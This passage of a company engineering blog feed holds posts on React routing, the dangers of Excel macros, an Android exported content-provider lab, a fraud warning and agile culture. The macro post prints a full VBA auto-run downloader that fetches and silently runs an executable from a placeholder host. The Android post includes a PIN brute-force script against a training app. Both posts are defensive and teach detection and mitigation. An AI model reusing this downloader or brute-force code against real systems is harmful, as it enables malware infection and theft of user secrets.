layout, but without padding. This gives other developers free will to have their content with maximum space</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Wahr6K1JV-lT2nbX8jzsA.png" /></figure><p><strong>4. Blank</strong>: just blank. That’s it. I mean, literally, it’s just a blank layout without an app bar, no sidebar. Nothing. Perfect for utility or errors. Also, developers can configure the entire space and configure their own interactions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZD5jK5l7j5TJMKksGkhWQg.png" /></figure><h4><strong>Step 2: The Route Tree</strong></h4><p>Once we identified the layout types, we designed the route tree structure. This is what beautiful routing looks like: clean, predictable, maintainable. This structure also establishes hard technical boundaries that prevent undetected routes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xZJKNOR1EQ_pZjyoaVxzaA.png" /></figure><blockquote>Do not cross the 2nd generation after the main layout; or else your routes will go undetected, forcing you to add more configurations and undoing everything we built.</blockquote><p>The actual implementations will look like this:</p><pre>pxRouter<br>└── path: &quot;/&quot;<br>    └── element: &lt;Fonts/&gt; + &lt;Providers&gt; + &lt;Outlet/&gt;<br>        └── children: appLayouts[]<br>            ├── root<br>            │   ├── name: &quot;root&quot;<br>            │   └── path: &quot;/&quot;<br>            ├── authLayout<br>            │   ├── name: &quot;Authentication&quot;<br>            │   ├── element: &lt;Outlet/&gt;<br>            │   └── children: [auth pages...]<br>            ├── coreLayout<br>            │   ├── name: &quot;Core&quot;<br>            │   ├── element: &lt;PXSuspense&gt; + &lt;PXFeatureWrapper usePadding/&gt;<br>            │   └── children: [px features...]<br>            ├── noContentPaddingLayout<br>            │   ├── name: &quot;No Content Padding&quot;<br>            │   ├── element: &lt;PXSuspense&gt; + &lt;PXFeatureWrapper/&gt;<br>            │   └── children: [px features...]<br>            └── blankLayout<br>                ├── name: &quot;Blank&quot;<br>                ├── element: &lt;PXSuspense&gt; + &lt;Outlet/&gt;<br>                └── children: [error/utility modules...]</pre><h4><strong>Step 3: Making the main layouts</strong></h4><p>This is where the boring stuff happens. We basically configure the base where we can do everything with minimum requirements. Based on the structure, the code will look like this:</p><pre>const authPages: PXRouteObject[] = [ ... ];<br>export const authLayout: PXRouteObject = {<br>  name: &#39;Authentication&#39;,<br>  element: &lt;Outlet /&gt;,<br>  children: authPages,<br>};<br><br>export const blankLayout: PXRouteObject = {<br>  name: &#39;Blank&#39;,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;Outlet /&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>  children: [notFoundPage],<br>};<br><br>const corePages: PXRouteObject[] = [ ... ];<br>export const coreLayout: PXRouteObject = {<br>  name: &#39;Core&#39;,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;Guard&gt;<br>        &lt;PXFeatureWrapper usePadding /&gt;<br>      &lt;/Guard&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>  children: corePages,<br>};<br><br>const noContentPaddingPages: PXRouteObject[] = [ ... ];<br>export const noContentPaddingLayout: PXRouteObject = {<br>  name: &#39;No Content Padding&#39;,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;Guard&gt;<br>        &lt;PXFeatureWrapper /&gt;<br>      &lt;/Guard&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>  children: noContentPaddingPages,<br>};</pre><p>Straightforward, minimum configurations, and easy to use. Perfect✨</p><h4><strong>Step 4: Making the New Concept with New Props</strong></h4><p>With the route tree structure in mind, we created a new route configuration that was clean and simple:</p><pre>type PXRouteObject = RouteObject &amp; {<br>  icon?: ReactNode;<br>  children?: PXRouteObject[];<br>  name: string;<br>  showInSidebar?: boolean;<br>  featureVersion?: string;<br>  permission?: string;<br>}</pre><p>Instead of handling infinite possibilities in a single props, we just have to contain what we need to maintain on the route side. And let the layout configure what they need.</p><p>For instance, configurations for breadcrumbs or the extra sidebar can be configured independently — no need for them to come from the routes</p><h4><strong>Step 5: Implementation</strong></h4><p>Finally, we implemented the new system:</p><ol><li><strong>Make a new router</strong></li></ol><p>The example I would give is <strong>Custom Dashboard Routes</strong>. Here, the parent looks like:</p><pre>const customDashboardRoutes: PXRouteObject[] = [<br>  categoryListModuleRouter,<br>  ...categoryModuleRouters,<br>];<br><br>export const customDashboardModuleRouter: PXRouteObject = {<br>  name: &#39;Custom Dashboard&#39;,<br>  permission: PERMISSION_MODULE,<br>  children: customDashboardRoutes,<br>  icon: &lt;LinkManagementIcon boxSize={&#39;20px&#39;} color=&quot;color.icon.rest&quot; /&gt;,<br>  showInSidebar: true,<br>};</pre><p>Then, on the other file, we have the list module:</p><pre>export const categoryListModuleRouter: PXRouteObject = {<br>  name: &#39;Category&#39;,<br>  path: linkManagementRoutes.list,<br>  permission: LIST_PERMISSION,<br>  showInSidebar: true,<br>  entityBased: true,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;PXBase<br>        title={&#39;Category&#39;}<br>        breadcrumbName={&#39;Custom Dashboard&#39;}<br>        actionButton={&lt;AddCategoryButton /&gt;}<br>      &gt;<br>        &lt;CategoryListPage /&gt;<br>      &lt;/PXBase&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>};</pre><p>Simple enough to make a new route, right? What if we have breadcrumbs configurations? Well, take a look at this one:</p><pre>const RenderAddEditCategoryPage = memo(({ isEdit }: { isEdit: boolean }) =&gt; {<br>  const { setBreadcrumbs } = useBreadcrumbViewModel();<br><br>  useEffect(() =&gt; {<br>    setBreadcrumbs([<br>      { label: &#39;Link&#39;, target: linkManagementRoutes.builder.link.link() },<br>    ]);<br><br>    return () =&gt; setBreadcrumbs([]);<br>  }, []);<br><br>  return (<br>    &lt;PXSuspense&gt;<br>      &lt;PXBase<br>        title={isEdit ? &#39;Edit Category&#39; : &#39;Add Category&#39;}<br>        breadcrumbName={&#39;Custom Dashboard&#39;}<br>        titleComponent={&lt;LinkCategoryPageTitle isEdit={isEdit} /&gt;}<br>      &gt;<br>        &lt;AddEditLinkCategoryPage /&gt;<br>      &lt;/PXBase&gt;<br>    &lt;/PXSuspense&gt;<br>  );<br>});<br><br>const addCategoryModuleRouter: PXRouteObject = {<br>  name: &#39;Add Category&#39;,<br>  path: linkManagementRoutes.add,<br>  permission: CREATE_PERMISSION,<br>  entityBased: true,<br>  element: &lt;RenderAddEditCategoryPage isEdit={false} /&gt;,<br>};<br><br>const editCategoryModuleRouter: PXRouteObject = {<br>  name: &#39;Edit Category&#39;,<br>  path: linkManagementRoutes.edit,<br>  permission: EDIT_PERMISSION,<br>  entityBased: true,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;PXBase<br>        title={&#39;Edit Category&#39;}<br>        breadcrumbName={&#39;Custom Dashboard&#39;}<br>        titleComponent={&lt;LinkCategoryPageTitle isEdit /&gt;}<br>      &gt;<br>        &lt;RenderAddEditCategoryPage isEdit={true} /&gt;<br>      &lt;/PXBase&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>};<br><br>export const categoryModuleRouters = [<br>  addCategoryModuleRouter,<br>  editCategoryModuleRouter,<br>];</pre><p>Easy to read, right? That’s the real code right there!</p><p><strong>2. Register the routers</strong></p><p>After those configurations, simply put the parent in the layout you need. For example, the <strong>Custom Dashboard</strong> belongs to <strong>Core</strong>. So, just put it like this:</p><pre><br>const corePages: PXRouteObject[] = [<br>  customDashboardModuleRouter,<br>];<br>export const coreLayout: PXRouteObject = {<br>  name: &#39;Core&#39;,<br>  element: (<br>    &lt;PXSuspense&gt;<br>      &lt;Guard&gt;<br>        &lt;PXFeatureWrapper usePadding /&gt;<br>      &lt;/Guard&gt;<br>    &lt;/PXSuspense&gt;<br>  ),<br>  children: corePages,<br>};</pre><p>And that’s all. The routes are well configured🎉</p><h3>From Nightmare to Dream: Conclusion</h3><p>The nightmare is over. The dream is real. And it only took us three years to figure it out.</p><blockquote><em>“Make it work, make it right, make it fast.”</em></blockquote><blockquote>- Kent Beck</blockquote><p>Today: Four layout types, one prop per route, zero fear. We didn’t just fix our routing — we made it beautiful. Self-documenting. Effortless. The kind of code that makes you smile instead of cry.</p><p>If you want to know more about PX, let’s connect on my <a href="https://id.linkedin.com/in/adithamafadil"><strong>LinkedIn</strong></a> or visit the <a href="https://www.px-apps.com/"><strong>PX official website</strong></a><strong> </strong>🚀</p><p><em>If reading about deconstructing a “God Component” got you excited rather than terrified, you’re exactly the type of senior engineer we’re looking for. </em><a href="http://dkatalis.com/jobs"><strong>Come help us build robust, maintainable code</strong></a><em>.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a5a8bfc07ada" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/the-3-year-routing-mistake-that-festered-under-the-rug-a5a8bfc07ada">The 3-Year Routing Mistake That Festered Under the Rug</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Hidden Dangers of Excel Macros]]></title>
            <link>https://medium.com/dkatalis/the-hidden-dangers-of-excel-macros-8623fc74e843?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/8623fc74e843</guid>
            <category><![CDATA[microsoft]]></category>
            <category><![CDATA[vba-macros]]></category>
            <category><![CDATA[excel]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[M. Habib]]></dc:creator>
            <pubDate>Mon, 07 Jul 2025 08:02:57 GMT</pubDate>
            <atom:updated>2025-07-07T08:02:57.245Z</atom:updated>
            <content:encoded><![CDATA[<h4>Understand what you’re putting into your Excel and be safe!</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a_DLpYDZwYGQiXBfnHLqjA.jpeg" /></figure><p>Microsoft Excel is like a Swiss Army knife.</p><p>It’s powerful, flexible, and used almost everywhere, from financial reports to project tracking. It helps us save time with smart features like <strong>Excel Macros</strong>, also known as <strong>VBA (Visual Basic for Applications)</strong>.</p><p>However, while macros automate repetitive tasks, they can also open the door to serious cybersecurity threats, especially when used carelessly or maliciously.</p><h3>Why Can Excel Macros Be Dangerous?</h3><h4>1. They Can Hide Malware</h4><p>Cybercriminals love macros because they can embed <strong>malicious code</strong> inside Excel files. Imagine unconsciously adding codes that can:</p><ul><li>Download <strong>ransomware or trojans</strong> onto your system.</li><li>Silently <strong>steal sensitive data</strong> and send it elsewhere.</li><li>Allow remote attackers to take over your device.</li></ul><p>It might look like a normal spreadsheet, but under the hood, it could be doing far more than you think.</p><h4>2. They Rely on Trust and Tricking You</h4><p>Most macro-based attacks depend on <strong>social engineering. </strong>In other words, tricking you into enabling macros.</p><p>For example:</p><blockquote><em>“To view this invoice, please enable macros.”</em></blockquote><p>Sounds innocent, right? But clicking that button could silently unleash malware in the background.</p><p>Attackers often disguise these files as invoices, resumes, or reports to lure you in.</p><h4>3. Many People Don’t Know the Risks</h4><p>Let’s be honest, how often do we think twice before enabling a macro if the file looks legitimate?</p><p>That lack of awareness is exactly what attackers rely on.</p><h3>Real-World Examples of Macro Attacks</h3><ul><li><a href="https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-280a"><strong>Emotet Malware</strong></a><strong><br></strong>Spread via malicious Excel macros, stealing credentials and banking data.</li><li><a href="https://www.sangfor.com/blog/cybersecurity/qakbot-malware-everything-you-need-know"><strong>Qbot (QakBot)</strong></a><strong><br></strong>Uses macros to infect systems and spread across networks.</li><li><a href="https://www.trendmicro.com/vinfo/id/security/news/cybercrime-and-digital-threats/new-crypto-ransomware-locky-uses-word-macros"><strong>Locky Ransomware</strong></a><strong><br></strong>Delivered via macro-enabled documents, encrypting files for ransom.</li></ul><h3>Example of Malicious VBA Code in Excel Macros</h3><p>Here’s a common example of how attackers use VBA macros for malicious purposes:</p><h4>Malware Download &amp; Execution</h4><pre>Sub Auto_Open()  <br>    Dim maliciousURL As String  <br>    Dim savePath As String  <br>    Dim shellCommand As String  <br><br>    &#39; URL to download malware (e.g., ransomware, spyware)  <br>    maliciousURL = &quot;http://malicious-site.com/virus.exe&quot;  <br>    <br>    &#39; Path to save the downloaded file (e.g., Temp folder)  <br>    savePath = Environ(&quot;TEMP&quot;) &amp; &quot;\update.exe&quot;  <br><br>    &#39; Download the malware  <br>    Dim WinHttpReq As Object  <br>    Set WinHttpReq = CreateObject(&quot;WinHttp.WinHttpRequest.5.1&quot;)  <br>    WinHttpReq.Open &quot;GET&quot;, maliciousURL, False  <br>    WinHttpReq.Send  <br><br>    &#39; Save the downloaded file  <br>    Dim oStream As Object  <br>    Set oStream = CreateObject(&quot;ADODB.Stream&quot;)  <br>    oStream.Open  <br>    oStream.Type = 1  <br>    oStream.Write WinHttpReq.ResponseBody  <br>    oStream.SaveToFile savePath, 2  <br>    oStream.Close  <br><br>    &#39; Execute the malware silently  <br>    shellCommand = savePath  <br>    Shell shellCommand, vbHide  <br><br>    &#39; Show a fake message to avoid suspicion  <br>    MsgBox &quot;Document formatting updated successfully!&quot;, vbInformation  <br>End Sub  </pre><p>What this script does:</p><ol><li><strong>Auto-executes</strong> <br>Runs automatically when the Excel file is opened (if macros are enabled).</li><li><strong>Downloads malware<br></strong>Retrieves a malicious .exe file from a remote server.</li><li><strong>Saves &amp; runs the malware<br></strong>Stores the file in the Temp folder and executes it silently.</li><li><strong>Displays a fake message<br></strong>Tricks the user into thinking the macro performed a legitimate action.</li></ol><h3>How to Detect It?</h3><p>There are several effective ways to detect malicious activity in macro-enabled Office files:</p><ol><li><strong>Use OLETools</strong><br><a href="https://github.com/decalage2/oletools">OLETools</a> is a powerful Python package for extracting and analyzing VBA macros from Office files. It helps identify suspicious code like automatic execution (Auto_Open), file downloads, and shell commands.</li><li><strong>Try Oleid<br></strong><a href="https://github.com/decalage2/oletools/blob/master/oletools/oleid.py">Oleid</a> is a lightweight pre-analysis tool that quickly identifies potential indicators of risk in OLE files, such as the presence of macros, packers, and unusual streams.</li><li><strong>Use ViperMonkey <br></strong><a href="https://github.com/decalage2/ViperMonkey">ViperMonkey</a> is a VBA emulation engine that analyzes and simulates the execution of obfuscated or complex macros. It’s especially useful for understanding what a macro will do, without actually running it inside Excel.</li></ol><p>Below is an example of how to analyze the malicious macro shown earlier using the OLETools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JF6Z6U0b8GFICKDgYqL6nA.png" /></figure><p><strong>Note</strong>: while these tools are highly effective at identifying suspicious macro activity, they are not a silver bullet. Further manual analysis and context are often required to confidently determine whether a file is safe or malicious.</p><h3>How You Can Protect Yourself (and Others)</h3><h4>1. Keep Macros Disabled by Default</h4><p>Unless absolutely necessary:</p><ul><li>Go to: <strong>File → Options → Trust Center → Trust Center Settings → Macro Settings</strong></li><li>Select <strong>“Disable all macros with notification”</strong> at minimum.</li></ul><h4>2. Only Enable Macros from Trusted Sources</h4><p>If you’re not sure where the file came from, <strong><em>don’t enable macros</em></strong>.</p><p>Always verify the source. If it seems suspicious, it probably is.</p><h4>3. Consider Safer Automation Alternatives</h4><p>You don’t always need macros. Instead, try:</p><ul><li><strong>Power Query</strong></li><li><strong>Office Scripts</strong> (for Excel on the web)</li></ul><p>These options are generally safer and easier to manage.</p><h4>4. Keep Software Up-to-Date</h4><p>Patches matter. Regularly update:</p><ul><li><strong>Microsoft Office</strong></li><li><strong>Your operating system</strong></li></ul><p>This helps close known security gaps.</p><h4>5. Raise Awareness in Your Team</h4><p>Most macro attacks work because someone unknowingly clicks “Enable.”<br>Run brief <strong>cybersecurity awareness sessions</strong> and promote a “<strong>Think Before You Click</strong>” culture in your team.</p><h3>Final Thoughts</h3><p>While Excel macros can be powerful tools for automation, they also pose serious security risks when misused. Cybercriminals frequently exploit VBA macros to deliver malware, steal data, and execute attacks silently. They often rely on users to unknowingly enable these dangerous scripts.</p><p>By understanding how malicious macros work, recognizing the signs of an attack, and adopting safe practices like disabling macros by default, verifying file sources, and exploring safer alternatives, we can significantly reduce the risk of macro-based threats.</p><p>Security starts with awareness. Stay alert, think before you click, and help build a cybersecurity-conscious culture in your organization.</p><p><em>DKatalis is hiring enthusiastic, brilliant talents from all around the world! Interested? Grab your opportunities</em> <a href="http://dkatalis.com/jobs"><strong>here</strong></a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8623fc74e843" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/the-hidden-dangers-of-excel-macros-8623fc74e843">The Hidden Dangers of Excel Macros</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Mitigating Content Provider Risks in Android]]></title>
            <link>https://medium.com/dkatalis/apksec-ipc-exported-content-providers-d31fd7a1f978?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/d31fd7a1f978</guid>
            <category><![CDATA[android-content-providers]]></category>
            <category><![CDATA[technology]]></category>
            <category><![CDATA[mobile-app-development]]></category>
            <category><![CDATA[mobile-security]]></category>
            <dc:creator><![CDATA[M. Habib]]></dc:creator>
            <pubDate>Tue, 25 Mar 2025 07:59:54 GMT</pubDate>
            <atom:updated>2025-03-25T07:59:53.962Z</atom:updated>
            <content:encoded><![CDATA[<h4>There are significant security risks when content sharing between apps are not managed properly.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N0_FaQLg-6wLNm3ZefcPFw.png" /></figure><p>In the Android ecosystem, apps often need to share data with one another. Since Android applications run in separate processes by default, inter-process communication (IPC) is essential for enabling communication and data sharing between them. Content Providers are a common mechanism for this inter-app interaction, but if they are improperly exported, they can pose a significant security risk.</p><h4><strong>What are Content Providers?</strong></h4><p>Content Providers in Android are components that allow apps to manage access to a structured set of data. They provide a standardized interface to query, insert, update, or delete data and are commonly used to share data between apps, such as contacts, media files, or app-specific data.</p><p>When a Content Provider is marked as “exported,” it means that other applications can interact with it. While this is essential for enabling data sharing, it can also introduce significant security risks if not managed properly.</p><h4>Sample Case</h4><p><strong>Refer to</strong>: <a href="https://www.mobilehackinglab.com/link/m6xCsf?url=https%3A%2F%2Fwww.mobilehackinglab.com%2Fcourse%2Flab-secure-notes">https://www.mobilehackinglab.com/course/lab-secure-notes</a></p><pre>&lt;provider android:name=&quot;com.mobilehackinglab.securenotes.SecretDataProvider&quot; android:enabled=&quot;true&quot; android:exported=&quot;true&quot; android:authorities=&quot;com.mobilehackinglab.securenotes.secretprovider&quot;/&gt; <br>&lt;activity android:name=&quot;com.mobilehackinglab.securenotes.MainActivity&quot; android:exported=&quot;true&quot;&gt;  <br>    &lt;intent-filter&gt;  <br>        &lt;action android:name=&quot;android.intent.action.MAIN&quot;/&gt;  <br>        &lt;category android:name=&quot;android.intent.category.LAUNCHER&quot;/&gt;  <br>    &lt;/intent-filter&gt;  <br>&lt;/activity&gt;</pre><p>As declared in the AndroidManifest.xml above, the com.mobilehackinglab.securenotes.secretprovider is a content provider that is <strong>exported</strong> (meaning it&#39;s accessible to other apps). This allows other applications to query data within it using content provider invocations.</p><h4>The Query Code</h4><pre>@Override // android.content.ContentProvider  <br>public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs, String sortOrder) {  <br>    Object m130constructorimpl;  <br>    Intrinsics.checkNotNullParameter(uri, &quot;uri&quot;);  <br>    MatrixCursor matrixCursor = null;  <br>    if (selection == null || !StringsKt.startsWith$default(selection, &quot;pin=&quot;, false, 2, (Object) null)) {  <br>        return null;  <br>    }  <br>    String removePrefix = StringsKt.removePrefix(selection, (CharSequence) &quot;pin=&quot;);  <br>    try {  <br>        StringCompanionObject stringCompanionObject = StringCompanionObject.INSTANCE;  <br>        String format = String.format(&quot;%04d&quot;, Arrays.copyOf(new Object[]{Integer.valueOf(Integer.parseInt(removePrefix))}, 1));  <br>        Intrinsics.checkNotNullExpressionValue(format, &quot;format(format, *args)&quot;);  <br>        try {  <br>            Result.Companion companion = Result.Companion;  <br>            SecretDataProvider $this$query_u24lambda_u241 = this;  <br>            m130constructorimpl = Result.m130constructorimpl($this$query_u24lambda_u241.decryptSecret(format));  <br>        } catch (Throwable th) {  <br>            Result.Companion companion2 = Result.Companion;  <br>            m130constructorimpl = Result.m130constructorimpl(ResultKt.createFailure(th));  <br>        }  <br>        if (Result.m136isFailureimpl(m130constructorimpl)) {  <br>            m130constructorimpl = null;  <br>        }  <br>        String secret = (String) m130constructorimpl;  <br>        if (secret != null) {  <br>            MatrixCursor $this$query_u24lambda_u243_u24lambda_u242 = new MatrixCursor(new String[]{&quot;Secret&quot;});  <br>            $this$query_u24lambda_u243_u24lambda_u242.addRow(new String[]{secret});  <br>            matrixCursor = $this$query_u24lambda_u243_u24lambda_u242;  <br>        }  <br>        return matrixCursor;  <br>    } catch (NumberFormatException e) {  <br>        return null;  <br>    }  <br>}</pre><p>This query method is designed to handle a specific type of query where the selection must begins with &quot;pin=&quot;. It extracts the pin, formats it, and attempts to decrypt a corresponding secret. If successful, it returns the secret in a MatrixCursor. Otherwise, if any step fails (e.g., the pin is not properly formatted, or decryption fails), the method returns null.</p><p><strong>Try to call the content query directly via ADB</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JLI6eemKiHb0uGIP4MtQ6A.png" /><figcaption>Call the com.mobilehackinglab.securenotes.secretprovider via ADB</figcaption></figure><p>It gives the response No result found. Could this be due to an incorrect pin input?</p><h4>Sample Attack</h4><p>Let’s try creating a script to guess the correct pin, then.</p><pre>import subprocess<br>from multiprocessing import Pool<br><br># Function to execute the ADB command for a given PIN<br>def execute_command(pin):<br>    pin_str = str(pin).zfill(4) # Convert PIN to 4-digit string format<br>    command = f&#39;adb shell &quot;content query --uri content://com.mobilehackinglab.securenotes.secretprovider --where pin={pin_str}&quot;&#39;<br>    try:<br>        output = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT, text=True)<br>        print(f&#39;PIN {pin_str} found: {output}&#39;)<br>    except subprocess.CalledProcessError as e:<br>        # Handle command execution errors (e.g., PIN not found)<br>        pass<br><br>if __name__ == &quot;__main__&quot;:<br>    # Number of processes to use (adjust as needed based on CPU cores)<br>    num_processes = 4<br><br>    # PIN range (0000 to 9999)<br>    pin_range = range(10000)<br><br>    # Create a pool of processes<br>    with Pool(num_processes) as pool:<br>        # Map the execute_command function to the PIN range<br>        pool.map(execute_command, pin_range)<br>    print(&#39;Bruteforce complete.&#39;)</pre><h4>Just run the Script</h4><pre>$ python snpin_force.py</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1Fe85M_-nuNj-K_7qaVq-w.png" /><figcaption>Bruteforce the correct PIN</figcaption></figure><p>It seems we can successfully guess the correct PIN using the bruteforce script above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N-BuDTJpU83HmzeYPRA1HA.png" /><figcaption>Call the com.mobilehackinglab.securenotes.secretprovider via ADB</figcaption></figure><h4>Conclusion</h4><p>The provided example demonstrates how an improperly exported Content Provider, such as the SecretDataProvider, can become a significant security vulnerability in Android applications. When a Content Provider is marked as exported, it becomes accessible to other apps, which can interact with it using specific queries. In this case, the query method of SecretDataProvider decrypts and returns sensitive data if a correct PIN is provided.</p><p>The security risk emerges because an attacker can exploit this functionality by brute-forcing the PIN via Android Debug Bridge (ADB). By using a script to systematically guess the correct PIN, an attacker can eventually access and retrieve sensitive information stored within the Content Provider. This underscores the importance of carefully managing the export status of components and implementing additional security measures to prevent unauthorized access to sensitive data in Android applications.</p><p>Here are some recommendations for the case above:</p><ul><li><strong>Limit Exporting:</strong> Only export Content Providers that are absolutely necessary for data sharing between authorized applications.</li><li><strong>Strong Authentication:</strong> Implement strong authentication mechanisms for accessing sensitive data through Content Providers. PINs alone might not be sufficient, consider multi-factor authentication.</li><li><strong>Input Validation:</strong> Validate user input to prevent brute-force attacks. Implement rate limiting or lockout mechanisms after a certain number of unsuccessful attempts.</li><li><strong>Secure Communication:</strong> Use secure communication channels when transferring data through Content Providers.</li></ul><p>By following these practices, developers can help mitigate the risks associated with exported Content Providers and protect user data.</p><h4><strong>References</strong>:</h4><ul><li><a href="https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0029/">https://mas.owasp.org/MASTG/tests/android/MASVS-PLATFORM/MASTG-TEST-0029/</a></li><li><a href="https://www.mobilehackinglab.com/link/m6xCsf?url=https%3A%2F%2Fwww.mobilehackinglab.com%2Fcourse%2Ffree-android-application-security-course">https://www.mobilehackinglab.com/course/free-android-application-security-course</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d31fd7a1f978" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/apksec-ipc-exported-content-providers-d31fd7a1f978">Mitigating Content Provider Risks in Android</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Beware of Fraudulent Activities Using DKatalis Name]]></title>
            <link>https://medium.com/dkatalis/beware-of-fraudulent-activities-using-dkatalis-name-e605050b687e?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/e605050b687e</guid>
            <dc:creator><![CDATA[DKATALIS]]></dc:creator>
            <pubDate>Thu, 20 Mar 2025 03:53:49 GMT</pubDate>
            <atom:updated>2025-03-20T03:53:49.077Z</atom:updated>
            <content:encoded><![CDATA[<h4>Stay alert, vigilant, and cautious.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*61r3Z1TfKvf93zibHDs3sw.jpeg" /></figure><p>We have been made aware of fraudulent attempts misusing our company’s name to deceive individuals in offering business and/or other opportunities.</p><p>DKatalis will not request personal information and/or payment in any form.</p><p>DKatalis is a technology company based in Jakarta and Singapore. We innovate and build digital solutions that drive digitalization. <strong>DKatalis currently does not have other business ventures outside of this area.</strong></p><p>Official statements and updates from DKatalis are only shared through our <a href="https://dkatalis.com">official website</a> and social media channels.</p><p>If you receive suspicious messages, do not click on the links, share personal information, or make any requested financial transactions. Always verify through our official channels before taking any action.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e605050b687e" width="1" height="1" alt=""><hr><p><a href="https://medium.com/dkatalis/beware-of-fraudulent-activities-using-dkatalis-name-e605050b687e">Beware of Fraudulent Activities Using DKatalis Name</a> was originally published in <a href="https://medium.com/dkatalis">DKatalis</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Balancing Output Delivery with Team Learning: The Key to Organizational Agility]]></title>
            <link>https://medium.com/dkatalis/balancing-output-delivery-with-team-learning-the-key-to-organizational-agility-ea139db58e6b?source=rss----a639e354dffe---4</link>
            <guid isPermaLink="false">https://medium.com/p/ea139db58e6b</guid>
            <category><![CDATA[agile]]></category>
            <category><![CDATA[organizational-culture]]></category>
            <category><![CDATA[way-of-working]]></category>
            <dc:creator><![CDATA[DKATALIS]]></dc:creator>
            <pubDate>Fri, 13 Dec 2024 03:04:52 GMT</pubDate>
            <atom:updated>2024-12-13T03:36:45.987Z</atom:updated>
            <content:encoded><![CDATA[<h4>By <a href="https://www.linkedin.com/in/salman-mohd-sultan/">Salman Mohd Sultan</a></h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cK2qYgudA-_rtX-rntciwA.jpeg" /></figure><p>In today’s fast-paced, highly competitive business world, knowledge-based organizations must stay agile to thrive. But how can companies balance the need for swift output delivery with the equally important goal of fostering a culture of seamless knowledge sharing? The key lies in creating a balance that enables efficiency while allowing room for learning.</p><h4>The “Delivery First” mentality: A double-edged sword</h4><p>In an economy where speed and results often define success, it’s not surprising that companies emphasize fast delivery. You’ve likely heard the common mantras: “Move fast, fail fast,” “Be focused,” and “The early bird catches the worm.” These phrases reflect the pressure to work relentlessly to complete tasks as quickly as possible, sometimes taking shortcuts or bulldozing through processes just to maintain momentum.</p><p>Organizations often reward these high-efficiency employees — those who get things done quickly and meet tight deadlines — by promoting them and offering financial bonuses. On the surface, this seems like a great strategy: rewarding productive workers for their hard work. However, this focus on efficiency can have unintended consequences that undermine long-term success.</p><h4>The cost of overemphasis on efficiency</h4><p>When the drive for output takes precedence, employees may experience burnout, stress, and demotivation. They may begin to feel like they’re running on a hamster wheel, constantly producing without time to reflect or learn. Eventually, some of the most talented people leave, taking their knowledge and expertise with them, leaving the organization weaker and less able to adapt in the future.</p><p>It’s not that efficiency is inherently bad. Delivering results is crucial. However, an unrelenting focus on speed and output can harm the organization’s ability to innovate, learn, and share knowledge. Without space for reflection and collaboration, employees miss opportunities to uncover better ways of working, address unresolved challenges, and contribute to collective learning. Over time, this harms the organization’s adaptability and growth potential.</p><h4>The importance of fostering a learning culture</h4><p>Building a culture of learning is challenging enough, requiring openness to new knowledge, intellectual humility, and a willingness to experiment. However, when faced with the “delivery trumps all” mentality, it can lead to counterproductive behaviors:</p><ul><li><strong>Narrow focus on familiar tasks</strong>: Teams might prioritize tasks related to areas they’re already familiar with, avoiding new challenges or areas they don’t fully understand. This can prevent individual growth and product innovation.</li><li><strong>Working without collaboration</strong>: Rather than brainstorming or diagramming solutions together, team members may rely on their own limited knowledge, instead of engaging in collaborative problem-solving. Over time, this isolates new/weak team members and reduces the potential for cross-functional learning.</li><li><strong>Collaboration in name only</strong>: Teams might start with collaborative processes like breaking down work together, but eventually fall into the trap of executing work alone. As team members push themselves to deliver individual tasks quickly, they sacrifice collective problem-solving and shared learning.</li></ul><p>At its core, the belief that productivity equals success often results in individuals working in isolation, which hurts overall product quality and the organization’s ability to adapt. This can lead to a vicious cycle where customer satisfaction decreases, financial performance drops, and layoffs ensue — further weakening the company’s ability to pivot quickly and 